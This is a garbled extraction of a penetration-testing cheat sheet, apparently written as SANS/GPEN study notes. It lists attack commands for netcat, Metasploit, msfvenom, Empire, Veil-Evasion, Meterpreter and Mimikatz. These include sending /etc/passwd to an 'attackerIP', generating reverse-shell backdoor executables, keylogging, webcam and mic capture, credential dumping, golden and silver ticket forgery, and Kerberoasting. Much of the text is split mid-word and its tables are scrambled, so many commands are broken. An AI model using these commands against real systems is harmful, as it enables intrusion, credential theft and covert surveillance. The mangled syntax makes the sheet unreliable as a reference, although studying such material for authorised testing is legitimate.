

### General Recon

`fping -g x.x.x.0 x.x.x.254 -a` **Ping sweep**

### Linux traceroute Options

|                                   |                                                                                             |
|-----------------------------------|---------------------------------------------------------------------------------------------|
| <code>-4</code>                   | Forces IPv4                                                                                 |
| <code>-6</code>                   | Forces IPv6, same as <code>traceroute6</code> command                                       |
| <code>-I</code>                   | Uses ICMP echo                                                                              |
| <code>-T</code>                   | Uses TCP SYN                                                                                |
| <code>-f &lt;first_hop&gt;</code> | Starts from the hop specified instead of 1                                                  |
| <code>-g &lt;gateway&gt;</code>   | Routes packets through the gateway specified instead of the default                         |
| <code>-m &lt;max_hops&gt;</code>  | Specifies the maximum number of hops; default is 30                                         |
| <code>-n</code>                   | Specifies not to resolve IP address to hostnames                                            |
| <code>-w &lt;wait&gt;</code>      | Specifies the wait time, which can be in seconds or relative to the reply time between hops |
| <code>-p &lt;port&gt;</code>      | Specifies the port                                                                          |

### DNS Query

### Netcat

#### Flags

`-l`

`-L`

`-u`

`-p`

`-e <filename>`

`-n`

`-z`

`-w [N]`

|                                                     |                                                           |
|-----------------------------------------------------|-----------------------------------------------------------|
| <b>nslookup</b>                                     | -v                                                        |
| nslookup -norecurse -type=A google.com DNS_SR VR_IP | DNS Snooping   nonrecursive query                         |
| server [server rIPAddr or name]                     | use specific server                                       |
| set type=any                                        | set DNS record type                                       |
| ls -d [target t_domain]                             | Perform a zone transfer of all records for a given domain |
| ls -d [target t_domain] [> filename]                | Store zone transfer output in a file                      |
| view [filename]                                     | view file                                                 |
| <b>dig</b>                                          |                                                           |
| dig @[name server] [domain name] [record type]      | dig command syntax                                        |
| dig +nocomments @192.168.1.50 lab.local -t AXFR     | test if allow anonymous zone transfers                    |
| set norecurse                                       | no recursive query, RD=0                                  |

On target:

```
mkncod backpipe p
```

```
nc --l -p [allowed_inbound_port] 0<backpipe | nc
```

Attackers machine to connect:

```
ssh login_name@[target machine] -p [allowed_inbound_port]
```

A really good explanation for this is on 560.3 book, P 152



### Netcat (cont)

#### Send Files

```
nc -l -p 8080 > filename
```

```
nc -w 3 attackerIP 8080 < /etc/passwd
```

#### Scan ports

```
nc -v -n IP port
```

```
nc -v -w 2 -z IP_Address port_range
```

```
echo " " | nc -v -n -w1 [targetIP] [port-range]
```

#### Other Uses

```
while (true); do nc -vv -z -w3 [target_IP] [target_port] > /dev/null && echo -e "\x07"; sleep 1; done
```

```
while `nc -vv -z -w3 [target_IP] [target_port] > /dev/null`;do echo " Service is ok"; sleep 1; done; echo 7"
```

#### alternative

```
nc -n -v -l -p 2222 < /tmp/wireshark.pcap
```

```
nc.exe -n -v -w3 [YourLinuxIP addr] 2222 >C:\fo\ldes\w\inauth.pcap
```

### TCPDUMP | Monitoring (cont)

```
-X Print hex and ASCII
```

```
-A Print ASCII
```

```
s [snaplen] Sniff this many bytes from each frame, instead of the default
```

#### Protocol:

```
ether, ip, ip6, arp, rarp, tcp, udp: protocol type
```

#### Type:

```
host [host] Only give me packets to or from that host
```

```
net [network] Only packets for a given network
```

```
port [portnum] Only packets for that port
```

```
portrange [start-end] Only packets in that range of ports
```

#### Direction:

```
src Only give me packets from that host or port
```

```
dst Only give me packets to that host
```

Use and / or to combine these together

Wrap in parentheses to group elements together

### Hashcat

```
hashcat -m 13100 -a 0 lab3.txt crackmap.hash 9999
```

```
hashcat --force -m 13100 -a 0 lab3.h hashcat /path/to/how
```

### PowerSploit/PowerView

Invoke-Kerberoast Requests service tickets for kerberoastable accounts and returns extracted ticket hashes

### Metasploit

### TCPDUMP | Monitoring

## General

`tcpdump -nnv -i eth0` start capturing traffic

`-n` Use numbers instead of names for machines

`-nn` Use numbers for machines and ports

`-i` Sniff on a particular interface (—D lists interfaces)

`-v` Be verbose

`-w` Dump packets to a file (use —r to read file later)

`-x` Print hex

## Create Handler listener

`use exploit/multi/handler`

`set payload windows/x64/meterpreter/reverse_https OR windows/meterpreter/reverse_tcp`

`set lhost AttackerIP`

`set lport 443`

`exploit -j -z` Run in background

## PS Session with valid creds

`use auxiliary/admin/smbexec/command`



By **Hey Mensh** (HeyMensh)  
[cheatography.com/heymensh/](https://cheatography.com/heymensh/)

Published 23rd November, 2022.  
Last updated 23rd November, 2022.  
Page 2 of 16.

Sponsored by **Readable.com**  
Measure your website readability!  
<https://readable.com>

| Metasploit (cont)                                                                                  | Empire (cont)                         |
|----------------------------------------------------------------------------------------------------|---------------------------------------|
| set smbuser user                                                                                   | set ALL 03/02/2020 5:28 pm            |
| set rhost victimIP                                                                                 | define time                           |
| set smbpass P4\$\$                                                                                 | to be set in                          |
| set command " ipc onfig or any comman d"                                                           | all datetime                          |
| run                                                                                                | file                                  |
| <b>Create backdoor - recognized by Defender :(</b>                                                 | properties                            |
| msfvenom -p window s/s hel l/r eve rse_tcp LHOST= [Attac kerIP] LPORT=8080 -f exe > /tmp/f ile.exe | set target                            |
| e                                                                                                  | file to be                            |
| msfvenom -p window s/x 64/ met erp ret er_ rev ers e_https LHOST= Att ackerIP LPORT=443 -f exe -o  | tampered                              |
| pwned.exe                                                                                          | run module                            |
| <b>Others</b>                                                                                      | <b>Others</b>                         |
| sessions -l                                                                                        | get a list of sessions                |
| sessions -i [N]                                                                                    | sell powershell Get-Ch ildItem        |
| press CTRL-Z                                                                                       | interact (-i) with session number [N] |
| jobs                                                                                               | Background session                    |
| db_import /path/ to/ fil e/n map.xml                                                               | General                               |
| hosts -m " Windows 10" 192.16 8.1.10                                                               | General                               |
| services -u -p 135,445                                                                             | Import scans from nmap                |
| sessions -h                                                                                        | Add comment to host                   |
| sessions -K                                                                                        | Show UP hosts with Lports 135,445     |
|                                                                                                    | searchmodule privesc                  |
|                                                                                                    | list help for sessions command        |
|                                                                                                    | kill a session                        |
|                                                                                                    | configure a listener                  |
|                                                                                                    | listeners                             |
|                                                                                                    | getting a list                        |
|                                                                                                    | of our                                |
|                                                                                                    | listeners                             |
|                                                                                                    | options                               |
|                                                                                                    | options we                            |
|                                                                                                    | have for our                          |
|                                                                                                    | listeners                             |
|                                                                                                    | set StagingKey [Some_Secret_Value]    |
|                                                                                                    | configure a                           |
|                                                                                                    | custom                                |
|                                                                                                    | staging key                           |
|                                                                                                    | for                                   |
|                                                                                                    | encrypting                            |
|                                                                                                    | communica-                            |
|                                                                                                    | tions                                 |
|                                                                                                    | set DefaultDelay 1                    |
|                                                                                                    | time                                  |
|                                                                                                    | between                               |
|                                                                                                    | callbacks                             |
|                                                                                                    | from our                              |
|                                                                                                    | agent                                 |
|                                                                                                    | execute                               |
|                                                                                                    | launch                                |
|                                                                                                    | listener                              |
|                                                                                                    | list                                  |
|                                                                                                    | check out                             |
|                                                                                                    | our listene                           |
|                                                                                                    | deploy an agent                       |

|                         |                                                                                               |
|-------------------------|-----------------------------------------------------------------------------------------------|
| usestager               | create and<br>deploy an<br>agent  <br>[space][T-<br>AB-TAB] To<br>see<br>available<br>stagers |
| usestager 1launcher_bat | select<br>stager                                                                              |
| info                    | get info for<br>actual<br>stager                                                              |

### MSFDB - Metasploit Database

#### Most useful database commands

|                                   |                                        |
|-----------------------------------|----------------------------------------|
| db_connect [conne ct_ strin<br>g] | Connects to a database                 |
| db_dis connect                    | Disconnects from database              |
| db_driver                         | Selects the database type              |
| db_status                         | Displays the status of the<br>database |



By **Hey Mensh** (HeyMensh)  
[cheatography.com/heymensh/](https://cheatography.com/heymensh/)

Published 23rd November, 2022.  
 Last updated 23rd November, 2022.  
 Page 3 of 16.

Sponsored by **Readable.com**  
 Measure your website readability!  
<https://readable.com>

### MSFDB - Metasploit Database (cont)

```
db_export
```

```
hosts
```

```
vulns
```

```
services
```

```
hosts --add [host]
```

```
services --add -p [port] -r [proto] -s [name] [host1 , host2 , ...  
.]
```

```
notes --add -t [type] -n '[note_text]' [host1 , host2 , ...]
```

If you delete a host, any services and vulns corresponding to that host\_id will also disappear

```
db_nmap --sT 10.10.1 0.10 --pack et- trace
```

### Veil-Evasion (cont)

Exports  
database  
contents  
into a file,  
either xml  
(with  
hosts, ports,  
vulnerabi-  
lities, and  
more) or  
pwdump  
(with  
pilfered  
 creden-  
tials)

Get list of  
hosts  
disco-  
vered

Get list of  
vulns that  
were found  
in scanned  
hosts

Get list of  
services  
running in  
gained  
hosts

manually  
add hosts

manually  
add  
services  
running in  
hosts

manually  
add notes  
to a host

invoke  
Nmap  
directly  
from the  
msfconsole

|                      |                                                |                                                                                                |                                                                                        |
|----------------------|------------------------------------------------|------------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------------|
| db_import [filename] | info powershell   ete rpr ete r/r ev_h<br>ttps | import data<br>  automa-<br>tically<br>recognizes<br>the file type<br>like Nmap                | et more<br>inform-<br>ation<br>about any<br>of the<br>payloads                         |
| hosts -S linux       | clean                                          | xml, Amap,<br>Nexpose,<br>Qualys,<br>Nessus<br><br>searching<br>for any<br>hosts<br>associated | Clean out<br>any<br>leftover<br>cruft from<br>previous<br>use of<br>Veil-E-<br>vasion, |

|                   |                                                       |                                                                                                                          |                                                                         |
|-------------------|-------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------|
| hosts -S linux -R | use info powershell l/m ete rpr ete r/r e<br>v_ https | with linux, -<br>S works for<br>other items<br>(vulns) as<br>well<br><br>set result<br><br>as RHOTS<br>variable<br>value | select the<br>payload<br>you want<br>to<br>generate                     |
| vulns -p 445      | options                                               | generate                                                                                                                 | list options<br>for actual<br>item<br><br>create the<br>payload<br>file |

|                                           |                                                                     |                                                                                                                                          |
|-------------------------------------------|---------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------|
| Veil-Evasion                              |                                                                     |                                                                                                                                          |
| Start Veil-Evasion                        |                                                                     |                                                                                                                                          |
| cd /opt/Veil -Ev asion    /usr/share/veil |                                                                     |                                                                                                                                          |
| ./Veil -Ev asion .py                      |                                                                     |                                                                                                                                          |
| General                                   |                                                                     |                                                                                                                                          |
| list                                      | get a list of all the different payloads that the tool can generate |                                                                                                                                          |
|                                           |                                                                     |                                                                                                                                          |
| .bat                                      | number                                                              | This is the payload itself                                                                                                               |
| .rc                                       |                                                                     | This is the Metasploit configuration file (also known as a handler file) for a multi/-handler waiting for a connection from our payload. |
| exit                                      |                                                                     | exit Veil-Evasion                                                                                                                        |
| /usr/share/veil -output/s ource           |                                                                     | Veil-Evasion output directory                                                                                                            |

tracroute

| Options       |                                                                                             |
|---------------|---------------------------------------------------------------------------------------------|
| -f [N]        | Set the initial TTL for the first packet                                                    |
| -g [hostlist] | Specify a loose source route (8 maximum hops)                                               |
| -I            | Use ICMP Echo Request instead of UDP                                                        |
| -T            | Use TCP SYN instead of UDP (very useful!), with default dest port 80                        |
| -m [N]        | Set the maximum number of hops                                                              |
| -n            | Print numbers instead of names                                                              |
| -p [port]     | port                                                                                        |
|               | For UDP, set the base destination UDP port and increment                                    |
|               | For TCP, set the fixed TCP destination port to use, defaulting to port 80 (no incrementing) |
| -w [N]        | Wait for N seconds before giving up and writing * (default is 5)                            |
| -4            | Force use of IPv4 (by default, chooses 4 or 6 based on dest addr)                           |



By **Hey Mensh** (HeyMensh)  
[cheatography.com/heyemensh/](https://cheatography.com/heyemensh/)

Published 23rd November, 2022.  
 Last updated 23rd November, 2022.  
 Page 4 of 16.

Sponsored by **Readable.com**  
 Measure your website readability!  
<https://readable.com>

### traceroute (cont)

-6 Force use of IPv6

### John the Ripper

#### General

john.pot file

john.rec file

john --restore

john --test

john hash.txt

john --show [passwd \_file]

### Cracking LANMAN Hashes

john /tmp/s am.txt

### Cracking Linux Passwords

### pw-inspector (Password Inspector) (cont)

- l The password must contain at least one lowercase character.
- The Password must contain at least one uppercase character.
- u (To specify a mixed case requirement, configure —c 2 -l —u.)
- The password must contain at least one number

cracked

password the password must contain at least one printable character that is neither alphabetic nor numeric, which includes !@#\$%&\*().

stores The password must include characters not included in the other john's lists (such as nonprintable ASCII characters)

current

stat

### Meterpreter

picks up

Where it

left off

based on

the sysinfo

contents

of the

john.rec

file

Check

Speed of

SyStem

run john

against

hash.txt

file

compare

which

passwords

John has

already

cracked

from a

given

password

file against

its john.pot

file

e

### Basic commands

? / help

Display a help menu

exit / quit

Quit the Meterpreter

sysinfo

Show name, OS type

shutdown / reboot

Self-explanatory

reg

read or write to the Registry

File System Commands

cd

Navigate directory structure

! / getwd

Show the current working directory

ls

List the directory contents, even 4 Windows

cat

Display a file's contents

download / upload

Move a file to or from the machine

mkdir / rmdir

Make or remove directories

edit

Edit a file using default editor

Process Commands

560.3 Page 92

getpid

Returns the process ID that Meterpreter is running in

getuid

Returns the user ID that the Meterpreter is running with

ps || ps -S notepad.exe

Process list

By default, John will focus on the LANMAN hashes.

```
cp /etc/passwd /tmp/passwd_copy
```

copy  
passwd  
file to your  
working  
directory

```
cp /etc/shadow /tmp/shadow_copy
```

copy  
shadow  
file to your  
working  
directory

```
./unshadow passwd_copy shadow_copy > combined.txt
```

Use the unshadow script to combine account info from /etc/passwd with password information from /etc/shadow

```
john combined.txt
```

Run John against the combined file

```
cat ~/.john/john.pot
```

Look at the Results in john.pot file

#### pw-inspector (Password Inspector)

-i input file

-o output file

-m [n] the minimum number of characters to use for a password is n

-M [N] Remove all words longer than N characters

-c how many password criteria a given word must meet to be [count] included in the list.



By **Hey Mensh** (HeyMensh)  
[cheatography.com/heymensh/](https://cheatography.com/heymensh/)

Published 23rd November, 2022.  
Last updated 23rd November, 2022.  
Page 5 of 16.

Sponsored by **Readable.com**  
Measure your website readability!  
<https://readable.com>

### Meterpreter (cont)

|                                                    |                                                                      |
|----------------------------------------------------|----------------------------------------------------------------------|
| <code>kill</code>                                  | Terminate a process                                                  |
| <code>execute -f cmd.exe -c -H</code>              | Runs a given program channelized (-c) and hide proccess window (-H)  |
| <code>migrate [desti nat ion _pr oce ss_ID]</code> | Jumps to a given destination process ID:                             |
|                                                    | *Target process must have the same or lesser privileges              |
|                                                    | *May be a more stable process                                        |
|                                                    | *When inside the process, can access any files that it has a lock on |

### Network Commands

|                                                   |                                                          |
|---------------------------------------------------|----------------------------------------------------------|
| <code>ipconfig</code>                             | show network config                                      |
| <code>route</code>                                | Displays routing table, adds/deletes routes              |
| <code>portfwd add -l 1111 -p 22 -r Target2</code> | SANS 560.3 Exploitation Page 67 for better understanding |

### On-target Machine commands

|                                       |    |
|---------------------------------------|----|
| <code>screenshot -p [file.jpg]</code> | SC |
|---------------------------------------|----|

### Meterpreter (cont)

|                            |
|----------------------------|
| <code>keysca n_dump</code> |
| <code>keysca n_stop</code> |

### Pivoting Using Metasploit's Route Command

|                                                                 |
|-----------------------------------------------------------------|
| <code>use [exploit1]</code>                                     |
| <code>set RHOST [victim1]</code>                                |
| <code>set PAYLOAD window s/m ete rpr ete r/r eve rse_tcp</code> |
| <code>exploit</code>                                            |
| CTRL-Z                                                          |

|                                                           |
|-----------------------------------------------------------|
| <code>route add [victi m2_ subnet] [netmask] [Sid]</code> |
| <code>use [exploit2]</code>                               |
| <code>set RHOST [victim2]</code>                          |
| <code>set PAYLOAD [payloadZ]</code>                       |
| <code>exploit</code>                                      |

Do not confuse the Metasploit (msf) route command with the Meterpreter latter is used to manage the routing tables on a target box that has been Meterpreter payload. The msf route command is used to direct all traffic from the attacker's Metasploit machine through a given Meterpreter ses victim machine to another potential Victim.

### Additional Modules

|                                |
|--------------------------------|
| <code>use [modul ename]</code> |
|--------------------------------|

idletime

Show how long the user at the console has been idle

uictl [enable/disable] [keyboard/mouse]

Turn on or off user input devices

### Webcam and Mic Commands

webcam \_\_list

Lists installed webcams

webcam \_snap

Snap a single frame from the webcam as a JPEG: - Can specify JPEG image quality from 1 to 100, with a default of 50

record\_mic

Records audio for N seconds (—d N) and stores in a wav file in the Metasploit .msf4 directory by default

Make sure you get written permission before activating either feature

### Keystroke Logger

keysca n\_start

poll every 30 milliseconds for keystrokes entered into the system

### Others

```
run schtas ksabuse -c "[command1][, command2].targetIP]
```

load kiwi

creds\_all



By **Hey Mensh** (HeyMensh)  
[cheatography.com/heymensh/](https://cheatography.com/heymensh/)

Published 23rd November, 2022.  
Last updated 23rd November, 2022.  
Page 6 of 16.

Sponsored by **Readable.com**  
Measure your website readability!  
<https://readable.com>

**GPG**

```
gpg -d -o <Output filename> <Encrypted file name>
leN ame>
```

## Silver Ticket ATTACK (cont)

```
Import -Module DSInte rnals $pwd = Conver To- Sec ure
```

## OVER-PASS-THE-HASH

1. Perform the AS-REQ (encrypting timestamp with passw hash) to get an TGT
2. Perform TGS-REQ to KDC to get TGS
3. Use TGS to impersonate passw hash owner and use a service

## Golden Ticket ATTACK

## Requirements

- KDC LT key
- Domain admin account name
- Domain name
- SID of domain admin account

## Commands

```
.\mimikatz kerberos os: :golden /admin :AD MIN ACC OUN TNAME /domain: D OMA INFOQN /id:AC COU NTRID /sid:D OMA
T GTP ASS WOR DHASH
```

```
.\mimikatz kerberos os::ptt file.txt
```

```
kerber os::tgt
```

```
kerber os: :list /export
```

```
kerber os::ptt file.kirbi
```

```
mimikatz "kerberos ::g olden /admin :Im Admin /id:10  
Ser viceSPN /ptt" exit
```

```
misc::cmd ; klist ; use a command to connect to that
```

(e.g. KRBTGT NTLM hash)

## Trolling

## Faking RIDs

NAME /domain:D OMA INFOIDN /id:AC COU NTRID /sid:D OMA

1159 is "Vader"

create a golden ticket from file with PTT

Result: User: Anakin | Get current session ticket details

```
/group s:5 12,Export ticket to a kirbi file
```

/id:9999      Load / pass the ticket

```
/user:yourmom
```

## Mimikatz

## Command Reference for tickets attacks

```
/domain          domain's fqdn
```

|      |                   |
|------|-------------------|
| /sid | SID of the Domain |
|------|-------------------|

```
/user /admin username to impersonate
```

|         |                                                                                                                                            |
|---------|--------------------------------------------------------------------------------------------------------------------------------------------|
| /groups | group RIDs the user is a member of (the first is the primary group) default: 513,512,520,518,519 for the well-known Administrator's groups |
|---------|--------------------------------------------------------------------------------------------------------------------------------------------|

|            |                                                                                                            |
|------------|------------------------------------------------------------------------------------------------------------|
| /ticket    | provide a path and name for saving the Golden                                                              |
| (optional) | Ticket file to for later use or use /ptt to immedi-<br>ately inject the golden ticket into memory for use. |

## Requirements

|            |                                                              |
|------------|--------------------------------------------------------------|
| • /target  | target server's FQDN.                                        |
| • /service | SPN                                                          |
| • /rc4     | NTLM hash for the service (computer account or user account) |

## Steps

|                                                                                                                        |                                                                                             |
|------------------------------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------|
| whoami                                                                                                                 | get domain/SID                                                                              |
| invoke -Ke rbe roa st.psl                                                                                              | get SPN and Service user pass hash for cracking                                             |
| Mimikatz "privi leg e:: debug" "sekur lsa ::l ogo npa ssw ords" exit                                                   | get Service password hash w/Mimikatz (if you have access to server hosting Vuln service)    |
| hashcat " " \$kr b5t gs\$ 6\$a cct \$sv c/H OST :po rt\$ XXX X...X XX"" dicti.txt hashcat -m 13100 hash .txt dicti.txt | Get unencrypted service password w/hashcat (If we didn't get NTLM hash) and hash it to NTLM |



### Mimikatz (cont)

|                          |                                                                                                                                                                             |
|--------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| /ptt                     | as an alternate to /ticket – use this to immediately inject the forged ticket into memory for use.                                                                          |
| /id (optional)           | user RID. Mimikatz default is 500 (the default Admin account RID).                                                                                                          |
| /start offset (optional) | the start offset when the ticket is available (generally set to -10 or 0 if this option is used). Mimikatz Default value is 0.                                              |
| /endin (optional)        | ticket lifetime. Mimikatz Default value is 10 years (~5,262,480 minutes). Active Directory default Kerberos policy setting is 10 hours (600 minutes).                       |
| /renewmax (optional)     | maximum ticket lifetime with renewal. Mimikatz Default value is 10 years (~5,262,480 minutes). Active Directory default Kerberos policy setting is 7 days (10,080 minutes). |

### Scapy (Packet crafting)

#### GPEN AIO Book - Lab 3-4: Scapy Introductory

|                            |                                |
|----------------------------|--------------------------------|
| scapy (as root)            | starts library                 |
| help(f unc tion)           | Get help for specific function |
| p = IP()/T CP( )/"F oo"    | define blank packet            |
| ls(p)                      | show packet info               |
| p.show()                   | show packet info               |
| summary                    | show packet info               |
| ls(p[Raw])                 | view just the data             |
| p[IP].s rc ="ip add res -" | set src address                |
| "                          |                                |
| p[IP].d st ="ip add res -" | set dst address                |
| "                          |                                |
| p[TCP].sp ort ="xx "       | set src port                   |
| p[TCP].dp ort ="xx "       | set dst port                   |
| p=IP/T CP/DATA             | packet structure               |

AIO Book - Page 158

### Metadata Analysis

```
./exiftool t/imag es/ Exi fTo ol.jpg >/r oot /ex if.out
```

strings —n 8 file.txt

### Recon-ng comands for whois\_pocs

```
recon-ng
market place install all ; exit
workspaces create demo
modules load recon/ dom ain s-c ont act s/w hoi s_
pocs
options set SOURCE exampl e.com
run
show contacts
```

### Cron

|            |                  |
|------------|------------------|
| crontab -l | list job entries |
| crontab -e | edit job entries |



By **Hey Mensh** (HeyMensh)  
[cheatography.com/hey mensh/](https://cheatography.com/hey mensh/)

Published 23rd November, 2022.  
Last updated 23rd November, 2022.  
Page 8 of 16.

Sponsored by **Readable.com**  
Measure your website readability!  
<https://readable.com>